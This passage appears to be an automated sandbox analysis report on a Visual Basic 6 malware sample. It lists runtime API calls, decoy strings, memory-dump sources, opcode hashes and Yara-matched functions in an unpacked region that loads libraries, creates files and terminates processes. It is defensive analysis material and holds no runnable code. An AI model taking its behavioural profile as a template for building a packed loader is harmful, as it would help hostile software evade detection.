__vbaFreeVar.MSVBVM60 ref: 00414434
__vbaHresultCheckObj.MSVBVM60(00000000,00401280,00412AA8,000002B4), ref: 00414455
#628.MSVBVM60(AMATI,0000005D,0000000A), ref: 00414474
__vbaStrMove.MSVBVM60 ref: 0041447F
__vbaStrMove.MSVBVM60 ref: 00414494
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004144CA
__vbaFreeVar.MSVBVM60 ref: 004144D6
__vbaHresultCheckObj.MSVBVM60(00000000,00401280,00412AD8,0000070C), ref: 004144FC
#523.MSVBVM60(FORLFTNINGEN), ref: 00414507
__vbaStrMove.MSVBVM60 ref: 00414512
__vbaStrMove.MSVBVM60(00000037), ref: 0041451F
#618.MSVBVM60(00000000), ref: 00414522
__vbaStrMove.MSVBVM60 ref: 0041452D
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041455B
#535.MSVBVM60 ref: 00414564
#648.MSVBVM60(00000002), ref: 00414582
__vbaStrCopy.MSVBVM60 ref: 00414596
__vbaR8FixI4.MSVBVM60(0000729E,000042DF,006D9945,?), ref: 004145B9
__vbaFreeStr.MSVBVM60 ref: 004145CA
__vbaFreeVar.MSVBVM60 ref: 004145D3
#648.MSVBVM60(0000000A), ref: 004145EB
#697.MSVBVM60(00001080), ref: 004145F8
__vbaStrMove.MSVBVM60 ref: 00414603
__vbaStrMove.MSVBVM60(?), ref: 0041462B
__vbaLenBstrB.MSVBVM60(macaronies,0000729E,00000000), ref: 0041463A
__vbaFreeStrList.MSVBVM60(00000002,?,00000000), ref: 00414658
__vbaFreeVar.MSVBVM60 ref: 00414660
#519.MSVBVM60(Botaniker6), ref: 0041466B
__vbaStrMove.MSVBVM60 ref: 00414676
__vbaLenBstr.MSVBVM60(00000000), ref: 00414679
#574.MSVBVM60(0000000A), ref: 0041468D
__vbaStrMove.MSVBVM60 ref: 00414698
#648.MSVBVM60(?), ref: 004146AC
__vbaStrCopy.MSVBVM60 ref: 004146C0
__vbaStrMove.MSVBVM60 ref: 004146D3
__vbaFreeStrList.MSVBVM60(00000004,?,00000000,?,00000000), ref: 00414704
__vbaFreeVarList.MSVBVM60(00000002,00000003,0000000A), ref: 00414716
__vbaStrCopy.MSVBVM60 ref: 0041474E
__vbaHresultCheckObj.MSVBVM60(00000000,00401280,00412AD8,00000710), ref: 0041477D
__vbaFreeStr.MSVBVM60 ref: 00414786

Strings

Unsceptically, xrefs: 00414377
c, xrefs: 00414735
Inositols1, xrefs: 00414724
Gasoliers, xrefs: 00414730
Tortillaers, xrefs: 00414245
FORLFTNINGEN, xrefs: 00414502
Dressets3, xrefs: 004142BE
SOLECISES, xrefs: 0041475D
Detektivroman, xrefs: 00414746
Apeksets, xrefs: 004146B2
becoming, xrefs: 00414588
AMATI, xrefs: 00414461
Botaniker6, xrefs: 00414666
Seedningernes7, xrefs: 004144AB
trustdannelsernes, xrefs: 0041449F
infratubal, xrefs: 004143B2
macaronies, xrefs: 00414635

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Move$Free$List$Copy$#648CheckHresult$#618Bstr$#519#523#526#535#574#593#611#617#619#628#697LboundRedim
String ID: AMATI$Apeksets$Botaniker6$Detektivroman$Dressets3$FORLFTNINGEN$Gasoliers$Inositols1$SOLECISES$Seedningernes7$Tortillaers$Unsceptically$becoming$infratubal$macaronies$trustdannelsernes$c
API String ID: 1113480829-3303423255
Opcode ID: c72903009d5bb72443be80d746a2874dac81d78cb0136d739b6c9f5059841553
Instruction ID: bf0190e720adb46c5977e155b0a4bcc9b49c3d4a3026db984a65b95a7deb7842
Opcode Fuzzy Hash: c72903009d5bb72443be80d746a2874dac81d78cb0136d739b6c9f5059841553
Instruction Fuzzy Hash: 9802FA71D002599BDB14DFE0CD88BDEBBB8FF48300F108569E61AAB194DBB45A49CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004165F0, Relevance: 34.6, APIs: 23, Instructions: 109COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041663F
__vbaStrCopy.MSVBVM60 ref: 00416647
#554.MSVBVM60 ref: 00416649
#609.MSVBVM60 ref: 0041664F
#557.MSVBVM60(?), ref: 00416663
__vbaFreeVar.MSVBVM60 ref: 0041667D
#525.MSVBVM60(00000062), ref: 00416686
__vbaStrMove.MSVBVM60 ref: 00416697
#704.MSVBVM60(00000008,000000FF,000000FE,000000FE,000000FE), ref: 004166B3
__vbaStrMove.MSVBVM60 ref: 004166BE
__vbaFreeVar.MSVBVM60 ref: 004166C3
#717.MSVBVM60(00000003,?,00000040,00000000), ref: 004166DD
__vbaStrVarMove.MSVBVM60(00000003), ref: 004166E7
__vbaStrMove.MSVBVM60 ref: 004166F2
__vbaFreeVar.MSVBVM60 ref: 004166F7
#648.MSVBVM60(00000008), ref: 0041670B
__vbaFreeVar.MSVBVM60 ref: 00416717
__vbaFreeStr.MSVBVM60(00416756), ref: 00416733
__vbaFreeStr.MSVBVM60 ref: 00416738
__vbaFreeStr.MSVBVM60 ref: 0041673D
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00416745
__vbaFreeStr.MSVBVM60 ref: 0041674E
__vbaFreeStr.MSVBVM60 ref: 00416753

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$Copy$#525#554#557#609#648#704#717Destruct
String ID:
API String ID: 3183551191-0
Opcode ID: 995c119435b576ece611ffd0c114b649867c954b989a16a29b09a7f8e9a23007
Instruction ID: dcac40bf2b26c418ae0785114e96f854217f3b7544020a52d7f8ad0fbb65576b
Opcode Fuzzy Hash: 995c119435b576ece611ffd0c114b649867c954b989a16a29b09a7f8e9a23007
Instruction Fuzzy Hash: 6C41DB75C0021DABCB04DFA4ED84AEEBBB9FF48710F10812AE512B62A4DB745A05CF95

Uniqueness

Uniqueness Score: -1.00%

Function 02A961BC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Strings

[_3, xrefs: 02A96224

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: [_3
API String ID: 823142352-4217748505
Opcode ID: dc77df91d6f71ae7772e08ac6fa0e1f319915dd0ecf8ae851a46caf7e82737e1
Instruction ID: 4e5af81d1e6e701124a4e5ce57d1a765a3ba346691a70438267190035d2927bc
Opcode Fuzzy Hash: dc77df91d6f71ae7772e08ac6fa0e1f319915dd0ecf8ae851a46caf7e82737e1
Instruction Fuzzy Hash: 7421D2B1A08344CFCB68AF35C895BEAB7F1AF95780F45492DDCDA96254D3744580CB03

Uniqueness

Uniqueness Score: -1.00%

Function 02A961D7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Strings

[_3, xrefs: 02A96224

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: [_3
API String ID: 823142352-4217748505
Opcode ID: d1c66cceca5fc75a0b30896b207de9fbed34dc6bae035f7071d7ff9ad0feb427
Instruction ID: e38933114924339b8a46e568aa2a71f323ef9609b0671827e7d87090f406a4f9
Opcode Fuzzy Hash: d1c66cceca5fc75a0b30896b207de9fbed34dc6bae035f7071d7ff9ad0feb427
Instruction Fuzzy Hash: A31103B1A08705DFCB686E35C885BDAF7F1AF95790F45491DC8DA96155D3300581CF03

Uniqueness

Uniqueness Score: -1.00%

Function 02A96212, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Strings

[_3, xrefs: 02A96224

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: [_3
API String ID: 823142352-4217748505
Opcode ID: cb6e3ae859d976dcdde0db3ae3cc44b052ff9f04c351aea89f70c959a78c5866
Instruction ID: afa4bd2e49b8324d6c55dc7cd59314d218943431fbdf92952a772ac7a41fa803
Opcode Fuzzy Hash: cb6e3ae859d976dcdde0db3ae3cc44b052ff9f04c351aea89f70c959a78c5866
Instruction Fuzzy Hash: 241136B2A19304CFCB246E35C8427EAFBF1EFA2790F458A1EC8D56A195D3354145CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02A973A4, Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 440b5d1472fd11476b9565a3d9e02d68e5464270e9c08d4578329b4b8f43a25e
Instruction ID: 3443f8e91cd755245b6396b8bf0356c32da45af9e95de8be5128095169a8f14f
Opcode Fuzzy Hash: 440b5d1472fd11476b9565a3d9e02d68e5464270e9c08d4578329b4b8f43a25e
Instruction Fuzzy Hash: 9011EFB46A429A9BCF319E2ACD84BE9B7F5AF45310F804161DD0E8B201CA304640CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 02A97B83, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0599e1e4c3496ffcae36bcf1d38255bd08bb85a4c67550534fb7a81c11f04964
Instruction ID: 48d3406b0240e3b8a15b712825d72ebcd2d01db094a827379a109e1ba2b99054
Opcode Fuzzy Hash: 0599e1e4c3496ffcae36bcf1d38255bd08bb85a4c67550534fb7a81c11f04964
Instruction Fuzzy Hash: 4321D8F25683958FDF319F268CD07D9B7B09F01324F54469AC96A4F041DA304605CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 02A97B6D, Relevance: 1.5, APIs: 1, Instructions: 44libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6a01940e9b2af8b02bcae3d4d20c307c4816ab2e11899aab396c7112e9510f29
Instruction ID: d6d887d66774a9bf510765af226dc0900940f56a070cdc12f00cad47f3434aac
Opcode Fuzzy Hash: 6a01940e9b2af8b02bcae3d4d20c307c4816ab2e11899aab396c7112e9510f29
Instruction Fuzzy Hash: 4711A1B16643999BDF319F26CD807EDB7B0AF04354F80465A991E9B000CA749A40CB72

Uniqueness

Uniqueness Score: -1.00%

Function 02A97B62, Relevance: 1.5, APIs: 1, Instructions: 42libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c0e1861faa6ca5de776f82adcec5f5d0e3edca0be09cc3a77a99e3133856c4b3
Instruction ID: 3609c09d628cf900dd9ade68e0062fea5489bda3d0b8019907d4537d948c79ef
Opcode Fuzzy Hash: c0e1861faa6ca5de776f82adcec5f5d0e3edca0be09cc3a77a99e3133856c4b3
Instruction Fuzzy Hash: EF014CB56A42999BDF349F2ACD84BE9B7F4AF04341F8081669D1E8B100CA744A40CB76

Uniqueness

Uniqueness Score: -1.00%

Function 02A96005, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(-B7671279,A8FA5E54), ref: 02A9606F

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7e2ca495caa42ba8b4cb97ccd05a22797e1a8a37ef4b36db78bc6296c0bba003
Instruction ID: 05c877aed1c69a709e82f6b229db7cdcfadc2906f74b1ab45b3d6c27df292ca3
Opcode Fuzzy Hash: 7e2ca495caa42ba8b4cb97ccd05a22797e1a8a37ef4b36db78bc6296c0bba003
Instruction Fuzzy Hash: E5F059B16221084BFBA5CF3F8CA1BDB26E16BD8244F00861E784FD62C4CA30C6464546

Uniqueness

Uniqueness Score: -1.00%

Function 02A96FF0, Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f00eb120b4bd4a2b51ed4771e75b725f527b11836ab72c6e5f37753baf774fa7
Instruction ID: ca06e9a5efa3e07f89bd4f266f02a0b2532c90a3a687159313788f231ea85e3c
Opcode Fuzzy Hash: f00eb120b4bd4a2b51ed4771e75b725f527b11836ab72c6e5f37753baf774fa7
Instruction Fuzzy Hash: 2CE0E57A52114186AF023BBB458164816E95F64B707608F2AE1326A0D6DF238245E291

Uniqueness

Uniqueness Score: -1.00%

Function 02A9609C, Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02A97B62: LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFileLibraryLoad
String ID:
API String ID: 2049390123-0
Opcode ID: 59093715f9bbdc013005c924b3a1e96c6d026d21bedaccc8ee41e2f33efabccc
Instruction ID: 46cf8fca038af90ec78b329ed42b1cc6648b9335e6a2fff9d7450ae9512aa1be
Opcode Fuzzy Hash: 59093715f9bbdc013005c924b3a1e96c6d026d21bedaccc8ee41e2f33efabccc
Instruction Fuzzy Hash: 5CF0E2B0A24249CFCB25AF75D99ABDAFBF6AF55B90F49812DCD8A85141C7304440CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 02A97BAA, Relevance: 1.5, APIs: 1, Instructions: 29libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4696dda34cff1684ba5a11ecd15f3b2937e0fa4ad75ffa3df0b2319e406e9584
Instruction ID: f269915072cd9328707602cf39c2a83d0d58864b230dd9cf0e265f334444995f
Opcode Fuzzy Hash: 4696dda34cff1684ba5a11ecd15f3b2937e0fa4ad75ffa3df0b2319e406e9584
Instruction Fuzzy Hash: 0AF096F51A43469EDF71AF26CD846ECB7B09F01715F804666D95B5A040CE384344CB77

Uniqueness

Uniqueness Score: -1.00%

Function 02A9625D, Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f1a7e19cb16fe0dd53bbeafe7f81f9ee58db14cccb66fd75c4e3ae7f922b42bd
Instruction ID: e6f843f119b1e189ae5dbc09f001584cd6b175db9d42a1a0b2912fd26a0933ba
Opcode Fuzzy Hash: f1a7e19cb16fe0dd53bbeafe7f81f9ee58db14cccb66fd75c4e3ae7f922b42bd
Instruction Fuzzy Hash: D2F0BEB0608309CFD720AE76C846BDBF7F1AF417A0F454A1CE9DA86090D37945808A12

Uniqueness

Uniqueness Score: -1.00%

Function 02A96FD9, Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b93b81d1e43fc75cfc78d9eb41d1179d020483a35577f6b30ab45e8f0e27423d
Instruction ID: be9148af4511f2fec8ebcb527a466c83d2d700bdd934eda29ac3ae41e7beaffc
Opcode Fuzzy Hash: b93b81d1e43fc75cfc78d9eb41d1179d020483a35577f6b30ab45e8f0e27423d
Instruction Fuzzy Hash: 56E0CD3D1210024AFF423FB7458174917A94F696707608927E0221A09BCF134149E3E1

Uniqueness

Uniqueness Score: -1.00%

Function 02A96001, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(-B7671279,A8FA5E54), ref: 02A9606F

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 3ba89494868e626b3208901cd997766ec26126385dc3f27eb7a58790d7829fe8
Instruction ID: a79b2dd7fc8ed53fe96b77c2e3f9ec30aeeceb3933914f2b92f8d7ac0174068f
Opcode Fuzzy Hash: 3ba89494868e626b3208901cd997766ec26126385dc3f27eb7a58790d7829fe8
Instruction Fuzzy Hash: AFE09B7460624947FB79CF2A8D90BE736F6AFD9704F00C11D6C4E97248CE30C6438605

Uniqueness

Uniqueness Score: -1.00%

Function 02A97C1D, Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d73aac102d4e4b5bda76c6dbc43301c22b5e35bea29598e74e439bc75bc5d1e4
Instruction ID: f7f09807875bd1caf170349c8aefb489b10d5c0de38bf32204e5a092ec5f3968
Opcode Fuzzy Hash: d73aac102d4e4b5bda76c6dbc43301c22b5e35bea29598e74e439bc75bc5d1e4
Instruction Fuzzy Hash: BCE09AB51A415096AE047F2E8D804ECE2B06A446F13C48F26E0728E0D0DE76C789DAE1

Uniqueness

Uniqueness Score: -1.00%

Function 02A96FE6, Relevance: 1.5, APIs: 1, Instructions: 23libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 60bf9fbd5b2b2b3813eff7b0ebdb6013e3a1e0907f1bfdcc4d343716cbd2d9c4
Instruction ID: eeee6947f4391398c7666b48f4ac908dfb1ef02cb87206a91abb6f2ca19ef377
Opcode Fuzzy Hash: 60bf9fbd5b2b2b3813eff7b0ebdb6013e3a1e0907f1bfdcc4d343716cbd2d9c4
Instruction Fuzzy Hash: 54E0CD7D1201118AFF423FBB454124527B55F657707A08E56E0125A0DBCF134646F7E2

Uniqueness

Uniqueness Score: -1.00%

Function 02A96CD4, Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14b8056edcb33cdf016cef19536cf619c52b3aa5fd2fc9e8ca4e791138b6c154
Instruction ID: 88df7b5fe0e97100aa9c6ed49c47e8721d8b1c3ba36f027ea6faed5e202cdcef
Opcode Fuzzy Hash: 14b8056edcb33cdf016cef19536cf619c52b3aa5fd2fc9e8ca4e791138b6c154
Instruction Fuzzy Hash: 8BD02B7E1200010AFE033BB74A8215C67A58FA6230370DA12E0230E1DBCE138189F3F2

Uniqueness

Uniqueness Score: -1.00%

Function 02A962AC, Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,4F237D9F), ref: 02A962D9

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4cb0e04fad40b2d4fe55add365a698b2dd87627a137001214acca70267885e39
Instruction ID: 345cd3d604a870b38ac601c1fafa329ea749308d40289733ddde750f3cd8df80
Opcode Fuzzy Hash: 4cb0e04fad40b2d4fe55add365a698b2dd87627a137001214acca70267885e39
Instruction Fuzzy Hash: 6EE09271504348CADB206F769882BDEF2E46F597A0F414F2C8CB5951D1C7354480C511

Uniqueness

Uniqueness Score: -1.00%

Function 02A9604A, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(-B7671279,A8FA5E54), ref: 02A9606F

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: ef8d2a58387ee63f534d7d0c99b712adb4b3f1fec3b56d5febfcb684175d8d06
Instruction ID: 795be643cf7900930cf7fb95e176883263b81d13c80e417dc1d307f36186eba8
Opcode Fuzzy Hash: ef8d2a58387ee63f534d7d0c99b712adb4b3f1fec3b56d5febfcb684175d8d06
Instruction Fuzzy Hash: 3AE020752052084BEB38DF2ECD907FA37F66F44380F00870DAC9EA15C8CF3086454A45

Uniqueness

Uniqueness Score: -1.00%

Function 02A96FA7, Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 02A97034

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9894804fdf382f301302dcc8ae326782fd46ba68f2287fecbb8b837e39c97059
Instruction ID: 08d233cf14bd6ebaf405a3f0c8ad70955cfbc6755b82689d28e382607884ce8c
Opcode Fuzzy Hash: 9894804fdf382f301302dcc8ae326782fd46ba68f2287fecbb8b837e39c97059
Instruction Fuzzy Hash: 82E0CD729105434B9B407FA54CC15097331FBD03217144911E0218B1CDCF31C546F7D0

Uniqueness

Uniqueness Score: -1.00%

Function 02A97BFD, Relevance: 1.5, APIs: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 62a191be23e9e617266aa0c6625d8f7e0abe2c1a6e9b22301a5ed07d6f62b0dc
Instruction ID: 17ed7d51edf5271739de3ef274652c991e24c953da8e3d07a1fa35a0ffa25c60
Opcode Fuzzy Hash: 62a191be23e9e617266aa0c6625d8f7e0abe2c1a6e9b22301a5ed07d6f62b0dc
Instruction Fuzzy Hash: C7D052B81B8255A7AE003F6A0E801DCE2B259416A0B808E52A5A29A080DE35C684CBB6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02A95425, Relevance: 3.1, Strings: 2, Instructions: 578COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: <iJG$G\NJ
API String ID: 0-3159980170
Opcode ID: 559ed3547914a3f22d698fc30796fd05830b45e6f9c37587cc07d311594e8177
Instruction ID: 9986d6f3dd7cab147bfbf5700d87b622fa7f8d26c08d6fa6f30e6d2db409df05
Opcode Fuzzy Hash: 559ed3547914a3f22d698fc30796fd05830b45e6f9c37587cc07d311594e8177
Instruction Fuzzy Hash: 1D3220B1A043499FCF758F3ACC957EA7BF2AF59340F95412ADD499B251DB308A81CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02A95403, Relevance: 3.1, Strings: 2, Instructions: 578COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: <iJG$G\NJ
API String ID: 0-3159980170
Opcode ID: 4311c260ef8b9bdad016ae2aba96ea96ab05206f28aa96c82804650479e4f787
Instruction ID: 2c03be3f9860c612b12b43f6dbe7996a2ba36871528b106f58ed82d6088ec2fd
Opcode Fuzzy Hash: 4311c260ef8b9bdad016ae2aba96ea96ab05206f28aa96c82804650479e4f787
Instruction Fuzzy Hash: B4322071A043499FCF758F3ACD957EA77F2AF99340F95412ADD899B250DB308A81CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02A953DD, Relevance: 3.1, Strings: 2, Instructions: 574COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: <iJG$G\NJ
API String ID: 1029625771-3159980170
Opcode ID: 831d298e11d20f55d11d13272ff269bf139e8b500cf2f363e173caa48235bf52
Instruction ID: a82cc5974c85b60a9814a0f513cfa29c7d0266219aab58fce5a4949b379d29e0
Opcode Fuzzy Hash: 831d298e11d20f55d11d13272ff269bf139e8b500cf2f363e173caa48235bf52
Instruction Fuzzy Hash: 0B321071A043499FCF758F3ACD957EA77F2AF99340F95412ADD899B250DB308A81CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02A954BE, Relevance: 3.1, Strings: 2, Instructions: 558COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: <iJG$G\NJ
API String ID: 0-3159980170
Opcode ID: fb936012fa69ab62d94692133f580a3ceede7eabd1f38652d17945c13ce61262
Instruction ID: e4e440bfc8011dce9904f124699b2bfe6249d62a36c28fbfa92415b682ce89bd
Opcode Fuzzy Hash: fb936012fa69ab62d94692133f580a3ceede7eabd1f38652d17945c13ce61262
Instruction Fuzzy Hash: D82221B1A043489FDF358F3ACC957EA37F2AF99350F95402ADD499B251DB308A81CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A95503, Relevance: 3.0, Strings: 2, Instructions: 531COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: <iJG$G\NJ
API String ID: 0-3159980170
Opcode ID: f939e02aade644a0312f82c5d01eda29236ce8e829af3b61bcee5501fa5afc28
Instruction ID: 7cb67abfcc2e47068164446f79e49a07cae8a568ea467e9ecb47d617145fd2a3
Opcode Fuzzy Hash: f939e02aade644a0312f82c5d01eda29236ce8e829af3b61bcee5501fa5afc28
Instruction Fuzzy Hash: A1221171A043489FDF758F3ACD957EA37F2AF99340F95402AED499B251DB308A81CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A983CA, Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

~T, xrefs: 02A9845A
`, xrefs: 02A984FA

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: `$~T
API String ID: 0-2829952454
Opcode ID: af05a28d6a84eece7d329888616ee925d58946343377922f8fc08a438aebd240
